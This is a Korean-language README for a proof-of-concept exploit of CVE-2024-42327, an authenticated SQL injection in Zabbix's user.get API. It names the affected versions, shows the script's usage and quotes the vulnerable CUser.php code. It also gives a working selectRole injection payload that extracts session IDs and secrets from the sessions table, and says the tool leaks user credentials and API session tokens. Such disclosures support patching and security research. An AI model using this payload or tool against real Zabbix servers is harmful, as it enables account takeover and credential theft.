
CVE-2024-42327에 대한 PoC, Zabbix의 user.get API 메서드를 통한 인증된 SQL Injection
CVE-2024-42327을 위한 POC로, user.get API 메서드를 통해 Zabbix에서 인증된 SQL 인젝션을 실행합니다. 이 POC는 다른 POC와 달리 시간 기반이 아닙니다.
취약점은 user.get API 엔드포인트에 존재하며, 기본 사용자 역할을 포함한 API 접근 권한이 있는 비관리자 사용자가 악용할 수 있습니다.
SQL 인젝션 결함은 CUser 클래스의 addRelatedObjects 함수에 존재합니다. 이 함수는 API 접근 권한이 있는 사용자가 사용할 수 있는 CUser.get 함수에서 호출됩니다.
공격자는 API 호출을 조작하여 SQL 명령을 주입할 수 있습니다.
취약점을 성공적으로 악용하면 공격자가 무단 접근 및 제어 권한을 얻을 수 있습니다.
- 6.0.0 – 6.0.31
- 6.4.0 – 6.4.16
- 7.0.0
이 POC는 데이터베이스에서 사용자 자격 증명을 유출하고, API 인증에 사용되는 세션 토큰도 유출합니다.
사용자 지정 SQL 쿼리(--query)를 실행할 수 있는 옵션이 있습니다.
python3 CVE-2024-42327_Zabbix_SQLI.py -h
usage: CVE-2024-42327_Zabbix_SQLI.py [-h] -u URL -U USERNAME -P PASSWORD [--query QUERY]
Accept a URL, USERNAME, PASSWORD, and an optional custom SQL query.
options:
-h, --help show this help message and exit
-u URL, --url URL The URL to Zabbix (please include the path - http://example.com/zabbix/)
-U USERNAME, --username USERNAME
The username to authenticate with
-P PASSWORD, --password PASSWORD
The password to authenticate with
--query QUERY An optional custom SQL query to run through the SQL Injection
python3 CVE-2024-42327_Zabbix_SQLI.py -u http://example.com/zabbix/ -U user -P password
https://github.com/zabbix/zabbix/blob/7.0.0/ui/include/classes/api/services/CUser.php 의 코드를 살펴보면 addRelatedObjects 함수에서 취약한 SQL 쿼리를 쉽게 찾을 수 있습니다 (3046~3051줄).
$db_roles = DBselect(
'SELECT u.userid'.($options['selectRole'] ? ',r.'.implode(',r.', $options['selectRole']) : '').
' FROM users u,role r'.
' WHERE u.roleid=r.roleid'.
' AND '.dbConditionInt('u.userid', $userIds)
);
$options['selectRole']에 포함된 값이 SQL 쿼리에 전달된다는 것을 즉시 알 수 있습니다.
이 코드 부분을 공격하는 일반적인 JSON Blob은 다음과 같습니다:
{
"jsonrpc": "2.0",
"auth": "AUTH_TOKEN_HERE",
"id": 1,
"method": "user.get",
"params": {
"output": [
"userid",
"username"
],
"selectRole": [
"type",
"roleid",
"name",
"readonly"
]
}
}
SQL 인젝션을 허용하도록 "selectRole" 값을 조작할 수 있습니다.
"selectRole": ["name, (SELECT GROUP_CONCAT(sessionid, ', ', userid, ', ', secret, ' || ') FROM sessions)"]
위 인젝션은 SQL 쿼리를 다음과 같이 만듭니다:
SELECT u.userid.name, r.name, (SELECT GROUP_CONCAT(sessionid, ', ', userid, ', ', secret, ' || ') FROM sessions) FROM users u, role r WHERE u.roleid=r.roleid and u.userid in (1)